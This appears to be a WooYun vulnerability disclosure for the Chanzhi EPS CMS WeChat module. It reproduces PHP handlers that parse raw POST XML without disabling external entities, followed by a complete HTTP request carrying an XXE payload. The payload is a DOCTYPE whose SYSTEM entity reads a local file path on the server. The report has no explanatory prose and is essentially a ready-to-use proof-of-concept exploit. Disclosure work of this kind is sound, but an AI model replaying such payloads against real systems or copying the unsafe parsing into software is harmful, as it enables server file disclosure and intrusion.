WooYun.org

public function response($public)
    {
    	
        $this->setAPI($public);
        
        $this->api->checkSign();
        $message  = $this->api->getMessage();
        
        $response = $this->wechat->getResponseForMessage($public, $message);
        if($response) $this->api->response($response);
        if(isset($message->event) and $message->event == 'subscribe') $this->wechat->createUser($public, $message);
        exit;
    }

public function getMessage()
    {
        $this->rawData = '';
        $this->message = new stdclass();
        if(isset($GLOBALS["HTTP_RAW_POST_DATA"]))
        {
            $this->rawData = $GLOBALS["HTTP_RAW_POST_DATA"];
            $message = new simpleXMLElement($this->rawData);
            foreach($message as $key => $value)
            {
                if( function_exists('lcfirst')) 
                {
                    $key = lcfirst($key);
                }
                else
                {
                    $first = strtolower(substr($key, 0, 1));   
                    $key   = $first . substr($key, 1);
                }
                $value = $key == 'event' ? strtolower($value) : $value;
                $this->message->$key = (string)$value;
            }
        }
        return $this->message;
    }

public function getResponseForMessage($public, $message)
    {
        if(isset($message->event) && in_array($message->event, array('unsubscribe', 'location')))
        {
            $this->saveMessage($public, $message);
            return false;
        }
        if($message->msgType == 'text')  $response = $this->getResponseByKey($public, $message->content);
        if($message->msgType == 'event') $response = $this->getResponseByKey($public, isset($message->eventKey) ? $message->eventKey : '');
        if(isset($message->event) && $message->event == 'subscribe') $response = $this->getResponseByKey($public, 'subscribe');
        if(empty($response)) $response = $this->getResponseByKey($public, 'default');    
        if(!empty($response))
        {
            $message->response = $response->id;
            if(isset($message->event) && $message->event == 'VIEW') 
            {
                 $message->response = $this->dao->select('id')->from(TABLE_WX_RESPONSE)->where('`key`')->like('m_%')->andWhere('concat(content, source)')->eq($message->eventKey)->fetch('id');
            }
            if($response->type == 'text' or $response->type == 'link')
            {
                $reply = new stdclass();
                $reply->msgType = 'text';
                $reply->content = $response->content;
            } 
            elseif($response->type == 'news')
            {
                $reply = $response->content;
            }
        }
        $this->saveMessage($public, $message);
        if(!isset($reply)) $reply = false;
        return $reply;
    }

POST /chanzhieps/www/index.php?m=wechat&f=response&public=1&signature=54c7f6d5084f93e1a935afb285b4fc35cf0b9e89&timestamp=xxxx&nonce=xxxx HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: CNZZDATA80862620=cnzz_eid%3D1165449138-1441185714-http%253A%252F%252F**.**.**.**%252F%26ntime%3D1441190707; lang=zh-cn; frontsid=606c50084c6191f7ec4a21cdba5405cd
Connection: keep-alive
Content-Type: text/xml
Content-Length: 308
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "file:///D:/wamp/www/chanzhieps/www/robots.txt">
]>
<xml>
<ToUserName>&test;</ToUserName>
<FromUserName>1111</FromUserName>
<Content>m_9</Content>
<Event>m_9</Event>
<msgType>text</msgType>
</xml>